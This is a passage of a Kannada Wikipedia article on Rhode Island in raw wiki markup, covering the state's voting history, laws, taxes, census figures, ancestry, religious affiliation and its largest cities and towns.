ಪ್ರದರ್ಶನವನ್ನು ನೀಡಿದೆ. 1980ರ U.S.ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣೆಯಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್ ರೊನಾಲ್ಡ್ ರೇಗನ್ ವಿರುದ್ಧ ಮತ ಚಲಾಯಿಸಿದ 6 ರಾಜ್ಯಗಳ ಪೈಕಿ ಒಂದಾಗಿದೆ. ರೇಗನ್ 1984ರಲ್ಲಿ 49 ರಾಜ್ಯಗಳ ಜಯದಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್ವನ್ನು ಒಯ್ದಿದ್ದರು.ಆದರೆ ರಾಜ್ಯವು ರೇಗನ್ ಗೆದ್ದ ಎರಡನೇ ಅತೀ ದುರ್ಬಲ ರಾಜ್ಯವಾಗಿತ್ತು. ರೋಡ್ ಐಲೆಂಡ್ 1988 ಮತ್ತು 2000ದಲ್ಲಿ ಡೆಮೋಕ್ರಾಟರ ಪ್ರಮುಖ ರಾಜ್ಯವಾಗಿತ್ತು ಮತ್ತು 1996 ಮತ್ತು 2004ರಲ್ಲಿ ಎರಡನೇ ಅತ್ಯುತ್ತಮವಾಗಿತ್ತು. ರಾಜ್ಯವು 1908ರವರೆಗೆ ರಿಪಬ್ಲಿಕನ್ನರಿಗೆ ನಿಷ್ಠೆಯಿಂದ ಇತ್ತು. ಆದರೆ ಅದನ್ನು ಅನುಸರಿಸಿದ 24 ಚುನಾವಣೆಗಳಲ್ಲಿ ೭ ಬಾರಿ ಡೆಮೋಕ್ರಾಟರಿಂದ ದೂರ ಸರಿದಿತ್ತು. 2004ರಲ್ಲಿ, ರೋಡ್ ಐಲೆಂಡ್ ಜಾನ್ ಕೆರಿ ಅವರಿಗೆ ತನ್ನ 59.4% ಮತಗಳೊಂದಿಗೆ 20ಕ್ಕಿಂತ ಹೆಚ್ಚು ಶೇಕಡಾವಾರು ಪಾಯಿಂಟ್ ಅಂತರದ ಜಯವನ್ನು ತಂದುಕೊಟ್ಟಿತು(ಯಾವುದೇ ರಾಜ್ಯದ ಮೂರನೇ ಅತ್ಯಧಿಕ) ರೋಡ್ ಐಲೆಂಡ್ 39 ನಗರಗಳು ಮತ್ತು ಪಟ್ಟಣಗಳ ಮೂರನ್ನು ಹೊರತುಪಡಿಸಿ ಎಲ್ಲವೂ ಡೆಮೋಕ್ರಾಟಿಕ್ ಅಭ್ಯರ್ಥಿಗಳಿಗೆ ಮತ ಚಲಾಯಿಸಿದವು. ಈಸ್ಟ್ ಗ್ರೀನ್‌ವಿಚ್,ವೆಸ್ಟ್ ಗ್ರೀನ್‌ವಿಚ್ ಮತ್ತು ಸ್ಕಿಟಿಯೇಟ್ ಇದಕ್ಕೆ ಅಪವಾದಗಳಾಗಿದ್ದವು.<ref>{{cite web|url=http://web.mit.edu/cstewart/www/nationwide2004.xls|title=nationwide2004|author=Stewart, Charles|publisher=Massachusetts Institute of Technology|accessdate=August 28, 2007}} taken from http://web.mit.edu/cstewart/www/election2004.html</ref> 2008ರಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್ [[ಬರಾಕ್ ಒಬಾಮ|ಬರಾಕ್ ಒಬಾಮಾ]] ಅವರಿಗೆ 29 ಶೇಕಡಾವಾರು ಪಾಯಿಂಟ್ ಅಂತರದ ಜಯವನ್ನು ತಂದುಕೊಟ್ಟಿತು ಸ್ಕಿಚುಯೇಟ್ ಹೊರತುಪಡಿಸಿ ರೋಡ್ ಐಲೆಂಡ್ ಎಲ್ಲ 39 ನಗರಗಳು ಮತ್ತು ಪಟ್ಟಣಗಳು ಡೆಮಾಕ್ರಟಿಕ್ ಅಭ್ಯರ್ಥಿಗೆ ಮತ ಚಲಾಯಿಸಿದವು.<ref>{{cite news|url=http://www.cnn.com/ELECTION/2008/results/county/#RIP00p1 |title=CNN Election Results by town in Rhode Island |accessdate=January 6, 2009}}</ref> ರೋಡ್ ಐಲೆಂಡ್ [[ಮರಣದಂಡನೆ]]ಯನ್ನು ರದ್ದುಪಡಿಸಿದ್ದು, ಹಾಗೆ ಮಾಡಿದ 15 ರಾಜ್ಯಗಳ ಪೈಕಿ ಒಂದೆನಿಸಿದೆ. ಈ ದ್ವೀಪವು ಬಹು ಮುಂಚಿತವಾಗಿ ಮಿಚಿಗನ್ ನಂತರ ಮರಣದಂಡನೆಯನ್ನು ರದ್ದುಮಾಡಿತು(ಮಿಚಿಗನ್ ಮರಣದಂಡನೆ ರದ್ದುಮಾಡಿದ ಮೊದಲನೇ ರಾಷ್ಟ್ರ) ಹಾಗು 1840ರ ದಶಕದಲ್ಲಿ ತನ್ನ ಕೊನೆಯ ಮರಣದಂಡನೆಯನ್ನು ಅನುಷ್ಠಾನಕ್ಕೆ ತಂದಿತ್ತು. 2009ರ ನವೆಂಬರ್‌ನಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್ ವೇಶ್ಯಾವಾಟಿಕೆ ಕಾನೂನುಬದ್ಧಗೊಳಿಸಿದ ಎರಡು ರಾಜ್ಯಗಳ ಪೈಕಿ ಒಂದಾಗಿ ಉಳಿಯಲಿಲ್ಲ. ಆದರೆ ಆಂತರಿಕವಾಗಿ ಅದು ನಡೆಯಿತು.<ref>{{cite web |url=http://www.signonsandiego.com/news/nation/20050910-0019-sexforsale.html|title=Rhode Island police seek stricter anti-prostitution laws|author=Eric Tucker |accessdate=April 13, 2008| publisher=Union-Tribune Publishing Co.}}</ref> 2009ರ ಅಧ್ಯಯನದಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡನ್ನು ರಾಷ್ಟ್ರದ 9ನೇ ಸುರಕ್ಷಿತ ರಾಜ್ಯವೆಂದು ಪಟ್ಟಿಮಾಡಲಾಯಿತು.<ref>[http://www.walletpop.com/insurance/safest-states ಸೇಫೆಸ್ಟ್ ಸ್ಟೇಟ್ಸ್] {{Webarchive|url=https://web.archive.org/web/20101205081617/http://www.walletpop.com/insurance/safest-states |date=ಡಿಸೆಂಬರ್ 5, 2010 }} 2009 ಏಪ್ರಿಲ್ 14ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> ರೋಡ್ ಐಲೆಂಡ್ ರಾಷ್ಟ್ರದಲ್ಲೇ ಕೆಲವು ಅತ್ಯಧಿಕ ತೆರಿಗೆಗಳನ್ನು ಒಳಗೊಂಡಿದೆ.ವಿಶೇಷವಾಗಿ ಅದರ ಆಸ್ತಿ ತೆರಿಗೆಗಳು ಅತ್ಯಧಿಕವಾಗಿವೆ.ಸ್ಥಳೀಯ ಮತ್ತು ರಾಜ್ಯ ತೆರಿಗೆಗಳಲ್ಲಿ 7ನೇ ದರ್ಜೆಯಲ್ಲಿದ್ದರೆ,ಸ್ಥಿರಾಸ್ತಿ ತೆರಿಗೆಗಳಲ್ಲಿ 6ನೇ ದರ್ಜೆಯನ್ನು ಹೊಂದಿದೆ.<ref name="taxes">{{cite web|url=http://www.projo.com/news/content/projo_07102007_ndown.5f1e041a.html|author=Downing, Neil|title=Rhode Island taxes rising, now seventh in the country|accessdate=April 24, 2008}}</ref> ರೋಡ್ ಐಲೆಂಡ್ ವೈದ್ಯಕೀಯ ಉದ್ದೇಶಕ್ಕೆ ಗಾಂಜಾ(ಮರಿಜುವಾನಾ) ಬಳಕೆಗೆ ಅವಕಾಶ ನೀಡಿದ ಅಮೆರಿಕದ ಮೂರನೇ ರಾಜ್ಯವಾಗಿದೆ. {{Further|[[Political party strength in Rhode Island]]}} == ಜನಸಂಖ್ಯಾಶಾಸ್ತ್ರ == {{USCensusPop |1790 = 68825 |1800 = 69122 |1810 = 76931 |1820 = 83059 |1830 = 97199 |1840 = 108830 |1850 = 147545 |1860 = 174620 |1870 = 217353 |1880 = 276531 |1890 = 345506 |1900 = 428556 |1910 = 542610 |1920 = 604397 |1930 = 687497 |1940 = 713346 |1950 = 791896 |1960 = 859488 |1970 = 946725 |1980 = 947154 |1990 = 1003464 |2000 = 1048319 |estyear = 2009<ref name=09CenEst/> |estimate = 1053209 }} {{US Demographics}} ರೋಡ್ ಐಲೆಂಡ್ ಜನಸಂಖ್ಯೆಯ ಕೇಂದ್ರಭಾಗವು ಪ್ರಾವಿಡೆನ್ಸ್ ಕೌಂಟಿಯಲ್ಲಿ ಕ್ರಾನ್‌ಸ್ಟನ್ ನಗರದಲ್ಲಿ ನೆಲೆಗೊಂಡಿದೆ.<ref>{{cite web|url=http://www.census.gov/geo/www/cenpop/statecenters.txt|title=Population and Population Centers by State: 2000|publisher=US Census Bureau|accessdate=April 24, 2008}}</ref> ಜನಸಂಖ್ಯೆಯನ್ನು ಪ್ರಾವಿಡೆನ್ಸ್ ಪ್ರದೇಶದಿಂದ ವಾಯವ್ಯಕ್ಕೆ ಚಾಚಿಕೊಂಡು ಬ್ಲಾಕ್‌ಸ್ಟೋನ್ ನದಿಯಿಂದ ವೂನ್‌ಸಾಕೆಟ್‌ವರೆಗೆ ಹರಡಿರುವುದನ್ನು ಕಾಣಬಹುದು. 19ನೇ ಶತಮಾನದ ಗಿರಣಿಗಳು ಕೈಗಾರಿಕೆ ಮತ್ತು ಅಭಿವೃದ್ಧಿಗೆ ಉತ್ತೇಜನ ನೀಡಿದೆ. ಅಮೆರಿಕದ ಜನಗಣತಿ ಬ್ಯೂರೊ ಪ್ರಕಾರ,2005ರಲ್ಲಿ ರೋಡ್ ಐಲೆಂಡ್ ಅಂದಾಜು 1,076,189ಜನಸಂಖ್ಯೆಯನ್ನು ಹೊಂದಿತ್ತು. ಅದು ಮುಂಚಿನ ವರ್ಷಕ್ಕಿಂತ 3 ,727ಅಥವಾ 0.3%ಕಡಿಮೆ ಹಾಗು 2000ನೇ ವರ್ಷದಿಂದ 27, 870ಅಥವಾ 2.7%ಹೆಚ್ಚಳವಾಗಿತ್ತು. ಇದರಲ್ಲಿ ಹಿಂದಿನ ವರ್ಷದ 15,220ರಷ್ಟು ಜನಗಣತಿಗಿಂತ ಸಹಜವಾಗಿ ಅಧಿಕವಾಗಿರುವುದು(ಅಂದರೆ 66,973 ಜನನಗಳಲ್ಲಿ 51,753ರಷ್ಟು ಮರಣವನ್ನು ಕಳೆದು)ಸೇರಿದೆ ಮತ್ತು ಒಟ್ಟು ರಾಜ್ಯಕ್ಕೆ 14,001 ಜನರ ನಿವ್ವಳ ವಲಸೆಯಿಂದ ಈ ಹೆಚ್ಚಳವಾಗಿದೆ. ಅಮೆರಿಕದ ಹೊರಭಾಗದ ವಲಸೆಯು ಒಟ್ಟು 18,965 ಜನಸಂಖ್ಯೆಯ ಹೆಚ್ಕಳಕ್ಕೆ ಕಾರಣವಾಗಿದೆ.ಅಲ್ಲದೇ ದೇಶದೊಳಗಿನ ವಲಸೆಯಿಂದ ಒಟ್ಟು 4,964ಜನರ ನಿವ್ವಳ ಇಳಿಮುಖಕ್ಕೆ ಕಾರಣವಾಗಿದೆ. [[ಚಿತ್ರ:Rhode Island population map.png|thumb|225px|left|ರೋಡ್ ಐಲೆಂಡ್ ಜನಸಂಖ್ಯೆ ಸಾಂದ್ರತೆ ನಕ್ಷೆ]] ರೋಡ್ ಐಲೆಂಡ್ ಐದು ದೊಡ್ಡ ಪೀಳಿಗೆ ಗುಂಪುಗಳು:<br /> {{flagicon|Italy}} 19% ಇಟಲಿಯನ್<br /> {{flagicon|Ireland}} 19% ಐರಿಷ್<br /> {{flagicon|Quebec}} 17.3% ಫ್ರೆಂಚ್ ಕೆನಡಿಯನ್<br /> {{flagicon|England}} 12% ಇಂಗ್ಲಿಷ್<br /> {{flagicon|Portugal}} 8.7% ಪೋರ್ಚುಗೀಸ್ ರಾಜ್ಯದಲ್ಲಿ ಹಿಸ್ಪಾನಿಕರು ಜನಸಂಖ್ಯೆಯ 11%ಇದ್ದಾರೆ. ಪೋರ್ಟೋ ರಿಕಾನ್,ಡಾಮಿನಿಕನ್ ಮತ್ತು ಅನೇಕ ಕೇಂದ್ರ ಅಮೆರಿಕನ್ನರ ಜನಸಂಖ್ಯೆ ಹೆಚ್ಚಿನ ಪ್ರಮಾಣದಲ್ಲಿದೆ.<ref>http://64.233.169.104/search?q=cache:xd5yzrxIP4QJ:www.prsasene.org/events/files/070322_Hispanic_panel/EBP_RI_Hispanic_Market.pdf+number+hispanics+%22rhode+island%22&amp;hl=en&amp;ct=clnk&amp;cd=12&amp;gl=us&amp;lr=lang_en</ref> 2000ನೇ U.S.ಜನಗಣತಿ ಪ್ರಕಾರ,5 ವರ್ಷ ವಯಸ್ಸಿನ ಮತ್ತು ಅದಕ್ಕಿಂತ ಹೆಚ್ಚಿನ ವಯಸ್ಸಿನ 8.07%ಜನಸಂಖ್ಯೆ ಮನೆಯಲ್ಲಿ [[ಸ್ಪ್ಯಾನಿಷ್ ಭಾಷೆ|ಸ್ಪಾನಿಷ್]] ಮಾತನಾಡುತ್ತಾರೆ. 3.80% [[ಪೋರ್ಚುಗೀಯ ಭಾಷೆ|ಪೋರ್ಚುಗೀಸ್]] ಮಾತನಾಡುತ್ತಾರೆ,1.96%[[ಫ್ರೆಂಚ್ ಭಾಷೆ|ಫ್ರೆಂಚ್]] ಮತ್ತು 1.39% ಜನರು [[ಇಟಲಿಯ ಭಾಷೆ|ಇಟಾಲಿಯನ್]] ಭಾಷೆ ಮಾತನಾಡುತ್ತಾರೆ.<ref>{{cite web|url=http://www.mla.org/map_data_results&state_id=44&mode=state_tops |title=Language Map Data Center |publisher=Mla.org |date=July 17, 2007 |accessdate=July 31, 2010}}</ref> ರೋಡ್ ಐಲೆಂಡ್ ಜನಸಂಖ್ಯೆಯಲ್ಲಿ 6.1% 5ವರ್ಷಕ್ಕಿಂತ ಕೆಳಗಿನವರು,23.6%ಜನರು 18ವರ್ಷಕ್ಕಿಂತ ಕೆಳಗಿನವರು ಮತ್ತು 14.5%ರಷ್ಟು ಜನರು 65 ಅಥವಾ ಅದಕ್ಕಿಂತ ಹೆಚ್ಚಿನ ವಯಸ್ಸಿನವರು. ಮಹಿಳೆಯರು ಜನಸಂಖ್ಯೆಯಲ್ಲಿ ಅಂದಾಜು 52%ರಷ್ಟಿದ್ದಾರೆ. ರೋಡ್ ಐಲೆಂಡ್ ಪೋರ್ಚುಗೀಸ್ ತಲೆಮಾರಿನ ಅಮೆರಿಕನ್ನರು ರಾಷ್ಟ್ರದ ಯಾವುದೇ ರಾಜ್ಯಕ್ಕಿಂತ ಹೆಚ್ಚಿನ ಶೇಕಡಾವಾರು ಪ್ರಮಾಣದಲ್ಲಿದ್ದಾರೆ(ಬ್ರಿಸ್ಟಲ್ ಕೌಂಟಿಯಲ್ಲಿ ಪ್ರಬಲರಾಗಿದ್ದಾರೆ).ಅವರಲ್ಲಿ ಪೋರ್ಚುಗೀಸ್ ಅಮೆರಿಕನ್ನರು ಮತ್ತು ಕೇಪ್ ವರ್ಡಿಯನ್ ಅಮೆರಿಕನ್ನರು ಸೇರಿದ್ದಾರೆ. ಹೆಚ್ಚುವರಿಯಾಗಿ,ರಾಜ್ಯದಲ್ಲಿ ಲೈಬೀರಿಯ ವಲಸೆಗಾರರು ಅತ್ಯಧಿಕ ಪ್ರಮಾಣದಲ್ಲಿದ್ದು,15,000ಕ್ಕಿಂತ ಹೆಚ್ಚು ಮಂದಿ ನೆಲೆಸಿದ್ದಾರೆ.<ref>{{cite web|url=http://runningafrica.com/news-03212009DED-Extension.html|title=Obama grants 12 month extension to Liberians on DED|accessdate=January 4, 2009|publisher=The Providence Journal c/o The African Media Network|archive-date=ಏಪ್ರಿಲ್ 18, 2009|archive-url=https://web.archive.org/web/20090418080005/http://runningafrica.com/news-03212009DED-Extension.html|url-status=dead}}</ref> ಫ್ರೆಂಚ್ ಕೆನಡಿಯನ್ನರು ಉತ್ತರ ಪ್ರಾವಿಡೆನ್ಸ್ ಕೌಂಟಿಯ ಹೆಚ್ಚಿನ ಭಾಗದಲ್ಲಿದ್ದಾರೆ ಹಾಗು ಐರಿಷ್ ಅಮೆರಿಕನ್ನರು ನ್ಯೂಪೋರ್ಟ್ ಮತ್ತು ಕೆಂಟ್ ಕೌಂಟಿಗಳಲ್ಲಿ ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯಲ್ಲಿದ್ದಾರೆ. ಇಂಗ್ಲೀಷ್ ತಲೆಮಾರಿನ ಯಾಂಕೀಗಳು ರಾಜ್ಯದಲ್ಲಿ ಇನ್ನೂ ಉಪಸ್ಥಿತರಿದ್ದು,ವಿಶೇಷವಾಗಿ ವಾಷಿಂಗ್ಟನ್‌ಕೌಂಟಿಯಲ್ಲಿದ್ದಾರೆ. ಅವರನ್ನು ಸಾಮಾನ್ಯವಾಗಿ "ಸ್ವಾಂಪ್ ಯಾಂಕೀಸ್" ಎಂದು ಉಲ್ಲೇಖಿಸಲಾಗುತ್ತದೆ. ಕೇಪ್ ವರ್ಡಿಯನ್ ಅಮೆರಿಕನ್ನರು,ಲೈಬೀರಿಯನ್ ಅಮೆರಿಕನ್ನರು,ನೈಜೀರಿಯನ್ ಅಮೆರಿಕನ್ನರು ಮತ್ತು ಘಾನಾದ ಅಮೆರಿಕನ್ನರು ಸೇರಿದಂತೆ ಆಫ್ರಿಕನ್ ವಲಸೆಗಾರರು ರೋಡ್ ಐಲೆಂಡಿನಲ್ಲಿ ಗಮನಾರ್ಹವಾಗಿ ಬೆಳೆಯುತ್ತಿರುವ ಸಮುದಾಯಗಳಾಗಿವೆ. ರೋಡ್ ಐಲೆಂಡ್ ಎಲ್ಲ 50 ರಾಜ್ಯಗಳ ಪೈಕಿ ಅತೀ ಕಡಿಮೆ ಒಟ್ಟು ವಿಸ್ತೀರ್ಣವನ್ನು ಹೊಂದಿದ್ದರೂ,ಇದು ಅಮೆರಿಕ ಒಕ್ಕೂಟದಲ್ಲಿ ಎರಡನೇ ಅತ್ಯಧಿಕ ಜನಸಾಂದ್ರತೆಯನ್ನು ಹೊಂದಿದ್ದು, ನ್ಯೂ ಜೆರ್ಸಿ ನಂತರ ಜನಸಂಖ್ಯೆಯಲ್ಲಿ ಎರಡನೆಯದಾಗಿದೆ. === ಧರ್ಮ === [[ಚಿತ್ರ:Grace Church Providence.jpg|250px|thumb|right|ಗ್ರೇಸ್ ಚರ್ಚ್, ರೋಡ್ ಐಲೆಂಡ್ ಪ್ರಾವಿಡೆನ್ಸ್‌ನ 175 ಮ್ಯಾಥೀವ್‌ಸನ್ ಸ್ಟ್ರೀಟ್‌ನಲ್ಲಿರುವ ಐತಿಹಾಸಿಕ ಚರ್ಚ್.]] ರೋಡ್ ಐಲೆಂಡ್ ಜನರ ಧಾರ್ಮಿಕ ಸಂಬಂಧಗಳು ಕೆಳಗಿನಂತಿವೆ:<ref name="religion">{{cite web |url=http://www.adherents.com/adhloc/Wh_284.html#631 |publisher=Adherents.com |title=Religion by Location |date=April 23, 2007 |accessdate=February 13, 2009 |archive-date=ಜುಲೈ 13, 2007 |archive-url=https://web.archive.org/web/20070713213151/http://www.adherents.com/adhloc/Wh_284.html#631 |url-status=dead }}</ref> * [[ಕ್ರೈಸ್ತ ಧರ್ಮ|ಕ್ರಿಶ್ಚಿಯನ್]] – 87.5% : :* ರೋಮನ್ ಕ್ಯಾಥೋಲಿಕ್ – 49% (ಪ್ರತಿ 2008 ARIS ದಾಖಲೆ) :* ಪ್ರೊಟೆಸ್ಟೆಂಟ್ – 21.6% :: ::* ಎಪಿಸ್ಟಕೋಪ್ಯಾಲಿಯನ್ – 8.1% ::* ಬ್ಯಾಪ್ಟಿಸ್ಟ್ – 6.3% ::* ಎವಾಂಗ್ಲಿಕಲ್ – 4% ::* ಇತರೆ – 3.2% :* ಇತರ ಕ್ರಿಶ್ಚಿಯನ್ : <2.3% * ಸ್ವಯಂ-ಗುರುತಿಸಿಕೊಂಡ ಧಾರ್ಮಿಕೇತರರು – 6% * ಇತರ ಧರ್ಮದವರು : <4.5% ಅತೀ ದೊಡ್ಡ ಪ್ರೊಟೆಸ್ಟಂಟ್ ಪಂಥಕ್ಕೆ ಸೇರಿದವರು ಎಪಿಸ್ಕೋಪಾಲಿಯನ್ಸ್ 26,756ಜನರಿದ್ದು,ಬ್ಯಾಪ್ಟಿಸ್ಟರ ಪೈಕಿ 20,997 ನಿಷ್ಠರಿದ್ದಾರೆ.<ref>{{cite web |url=http://www.thearda.com/mapsReports/reports/state/44_2000.asp |title=The Association of Religion Data Archives &#124; Maps & Reports |publisher=Thearda.com |date= |accessdate=July 31, 2010 |archive-date=ಡಿಸೆಂಬರ್ 11, 2009 |archive-url=https://web.archive.org/web/20091211072046/http://www.thearda.com/mapsReports/reports/state/44_2000.asp |url-status=dead }}</ref> ರೋಡ್ ಐಲೆಂಡ್ ಯಹೂದ್ಯ ಸಮುದಾಯವು ಪ್ರಾವಿಡೆನ್ಸ್ ಪ್ರದೇಶದಲ್ಲಿ ಕೇಂದ್ರೀಕೃತವಾಗಿದೆ. ಆದಾಗ್ಯೂ,ನ್ಯೂಪೋರ್ಟ್ ಟೌರೊ ಯಹೂದ್ಯ ಆರಾಧನ ಮಂದಿರವು ಅಮೆರಿಕದಲ್ಲಿ ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ಅತೀ ಹಳೆಯ ಆರಾಧಾನಾ ಮಂದಿರವಾಗಿದೆ. ರೋಡ್ ಐಲೆಂಡ್ ರಾಷ್ಟ್ರದಲ್ಲೇ ಅತ್ಯಧಿಕ ಶೇಕಡವಾರು ಪ್ರಮಾಣದ ರೋಮನ್ ಕ್ಯಾಥೋಲಿಕ್‌ರನ್ನು ಒಳಗೊಂಡಿದೆ.<ref name="catholic">{{cite web | url = http://www.adherents.com/largecom/com_romcath.html | publisher = Adherents.com | title = The Largest Roman Catholic Communities | accessdate = February 13, 2009 | year = 2000 | archive-date = ಮಾರ್ಚ್ 21, 2020 | archive-url = https://web.archive.org/web/20200321150325/https://www.adherents.com/largecom/com_romcath.html | url-status = dead }}</ref> ಹಿಂದೆ ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯಲ್ಲಿ ಐರಿಷರು,ಇಟಾಲಿಯನ್ನರು ಮತ್ತು ಫ್ರೆಂಚ್ ಕೆನಡಿಯನ್ನರ ವಲಸೆ ಇದಕ್ಕೆ ಕಾರಣ(ಈ ಮೂರು ಗುಂಪುಗಳು ರಾಜ್ಯ ಜನಸಂಖ್ಯೆಯ ಸರಿಸುಮಾರು 55%–60%ರಷ್ಟಾಗುತ್ತಾರೆ). ಇತ್ತೀಚೆಗೆ ಗಮನಾರ್ಹ ಸಂಖ್ಯೆಯಲ್ಲಿ ಪೋರ್ಚುಗೀಸ್(ಪೋರ್ಚುಗೀಸ್ ಸಮುದಾಯಗಳು 19ನೇ ಶತಮಾನದ ಮಧ್ಯಾವಧಿಯಿಂದ ಅಸ್ತಿತ್ವದಲ್ಲಿದೆ)ಹಾಗು ವಿವಿಧ ಹಿಸ್ಪಾನಿಕ್ ಸಮುದಾಯಗಳು(ರಾಜ್ಯ ಜನಸಂಖ್ಯೆಯಲ್ಲಿ ಇವೆರಡು ಸಮುದಾಯಗಳು ಸರಿಸುಮಾರು 20%ರಷ್ಟಾಗುತ್ತದೆ)ಕೂಡ ರಾಜ್ಯದಲ್ಲಿ ನೆಲೆಗೊಂಡಿವೆ. ಇದು ಯಾವುದೇ ರಾಜ್ಯದ ಒಟ್ಟಾರೆ ಕ್ಯಾಥೋಲಿಕ್ ಶೇಕಡಾವಾರು ಪ್ರಮಾಣದಲ್ಲಿ ಅತ್ಯಧಿಕವಾಗಿದ್ದರೂ, ರೋಡ್ ಐಲೆಂಡ್ ಪ್ರತ್ಯೇಕ ಕೌಂಟಿಗಳು ಅಮೆರಿಕದ 10ಅತ್ಯಧಿಕ ಕ್ಯಾಥೋಲಿಕ್ ಜನಸಂಖ್ಯೆಯ ಪೈಕಿ ಸ್ಥಾನ ಪಡೆದಿಲ್ಲ. ಏಕೆಂದರೆ ಕ್ಯಾಥೋಲಿಕ್ಕರು ರಾಜ್ಯದಾದ್ಯಂತ ಹರಡಿಕೊಂಡಿದ್ದಾರೆ. ಬಹುತೇಕ ಜನರು ಏಕೈಕ ಧಾರ್ಮಿಕ ಪಂಗಡದ ಸದಸ್ಯರಾಗಿರುವ ರಾಜ್ಯಗಳು ರೋಡ್ ಐಲೆಂಡ್ ಮತ್ತು [[ಯೂಟ|ಉಟಾ]] ಮಾತ್ರ. === ನಗರಗಳು ಮತ್ತು ಪಟ್ಟಣಗಳು === [[ಚಿತ್ರ:Newport Rhode Island USA.jpg|300px|right|thumb|ನ್ಯೂಪೋರ್ಟ್‌ನ ಐತಿಹಾಸಿಕ ಬದಿ ಬೀದಿ]] {{Main|Cities and towns in Rhode Island}} {{See also|Rhode Island locations by per capita income}} {{See also|Category:Villages in Rhode Island}} ರೋಡ್ ಐಲೆಂಡ್‌ನಲ್ಲಿ 39 ನಗರಗಳು ಮತ್ತು ಪಟ್ಟಣಗಳಿವೆ. ಐತಿಹಾಸಿಕ ಅಂಶಗಳ ಫಲವಾಗಿ ಪ್ರಮುಖ ಜನಸಂಖ್ಯೆ ಕೇಂದ್ರಗಳು ಬೆಳೆದಿವೆ-ಜಲಶಕ್ತಿ ಚಾಲಿತ ಗಿರಣಿಯಿಂದ ಬ್ಲಾಕ್‌ಸ್ಟೋನ್,ಸೀಕಾಂಕ್ ಮತ್ತು ಪ್ರಾವಿಡೆನ್ಸ್ ನದಿತೀರಗಳಲ್ಲಿ ಹೆಚ್ಚಿನ ಅಭಿವೃದ್ಧಿಯಾಯಿತು. ಜನಸಂಖ್ಯೆ ಶ್ರೇಣಿ ಕ್ರಮದಿಂದ ರಾಜ್ಯದ ಅತೀದೊಡ್ಡ 15 ಪುರಸಭೆಗಳು ಕೆಳಗಿನಂತಿವೆ:<ref>[http://www.citypopulation.de/USA-RhodeIsland.html ರೋಡ್ ಐಲೆಂಡ್ ಸಿಟೀಸ್ ಎಂಡ್ ಟೌನ್ಸ್] 2009 ಫೆಬ್ರವರಿ 13ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> # ಪ್ರಾವಿಡೆನ್ಸ್ (175,255)<ref>{ಪ್ರಾವಿಡೆನ್ಸ್ ಸಿಟಿ US ಸೆನ್ಸಸ್ ಡಾಟಾ{/1} 2009ರ ಫೆಬ್ರವರಿ 13ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> # ವಾರ್ವಿಕ್ (85,925)<ref>[http://quickfacts.census.gov/qfd/states/44/4474300.html ವಾರ್ವಿಕ್ ಸಿಟಿ US ಸೆನ್ಸಸ್ ಡಾಟಾ] {{Webarchive|url=https://web.archive.org/web/20130120063005/http://quickfacts.census.gov/qfd/states/44/4474300.html |date=ಜನವರಿ 20, 2013 }} 2009ರ ಫೆಬ್ರವರಿ 13ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> # ಕ್ರಾನ್‌ಸ್ಟನ್ (81,479)<ref>[http://quickfacts.census.gov/qfd/states/44/4419180.html ಕ್ರಾನ್‌ಸ್ಟನ್ ಸಿಟಿ US ಸೆನ್ಸಸ್ ಡಾಟಾ] {{Webarchive|url=https://web.archive.org/web/20130120061126/http://quickfacts.census.gov/qfd/states/44/4419180.html |date=ಜನವರಿ 20, 2013 }} 2009ರ ಫೆಬ್ರವರಿ 13ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> # ಪಾವ್‌ಟಕೆಟ್ (72,998)<ref>[http://quickfacts.census.gov/qfd/states/44/4454640.html ಪಾವ್‌ಟಕೆಟ್ ಸಿಟಿ US ಸೆನ್ಸಸ್ ಡಾಟಾ] {{Webarchive|url=https://web.archive.org/web/20130120060545/http://quickfacts.census.gov/qfd/states/44/4454640.html |date=ಜನವರಿ 20, 2013 }} 2009ರ ಫೆಬ್ರವರಿ 13ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> # ಪೂರ್ವ ಪ್ರಾವಿಡೆನ್ಸ್ (49,123)<ref>[http://quickfacts.census.gov/qfd/states/44/4422960.html ಈಸ್ಟ್ ಪ್ರಾವಿಡೆನ್ಸ್ ಸಿಟಿ US ಸೆನ್ಸಸ್ ಡಾಟಾ] {{Webarchive|url=https://web.archive.org/web/20130120035538/http://quickfacts.census.gov/qfd/states/44/4422960.html |date=ಜನವರಿ 20, 2013 }} 2009ರ ಫೆಬ್ರವರಿ 13ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> # ವೀನ್‌ಸಾಕೆಟ್ (43,940)<ref>[http://quickfacts.census.gov/qfd/states/44/4480780.html ವೂನ್‌ಸಾಕೆಟ್ ಸಿಟಿ US ಸೆನ್ಸಸ್ ಡಾಟಾ] {{Webarchive|url=https://web.archive.org/web/20130120045846/http://quickfacts.census.gov/qfd/states/44/4480780.html |date=ಜನವರಿ 20, 2013 }} 2009ರ ಫೆಬ್ರವರಿ 13ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> # ಕಾವೆಂಟ್ರಿ (33,668)<ref name="Rhode Island populations">[http://www.dlt.ri.gov/lmi/pdf/townpop.pdf PDF ಆಫ್ ಟೌನ್ ಪಾಪ್ಯುಲೇಷನ್ಸ್] "ರೋಡ್ ಐಲೆಂಡ್ ಪಾಪ್ಯುಲೇಷನ್ಸ್".ರೋಡ್ ಐಲೆಂಡ್ (ri.gov)2009ರ ಡಿಸೆಂಬರ್ 14ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> # ನಾರ್ತ್ ಪ್ರಾವಿಡೆನ್ಸ್ (32,411)<ref name="Rhode Island populations"/> # ಕಂೂರ್‌ಲ್ಯಾಂಡ್ (31,840)<ref name="Rhode Island populations"/> # 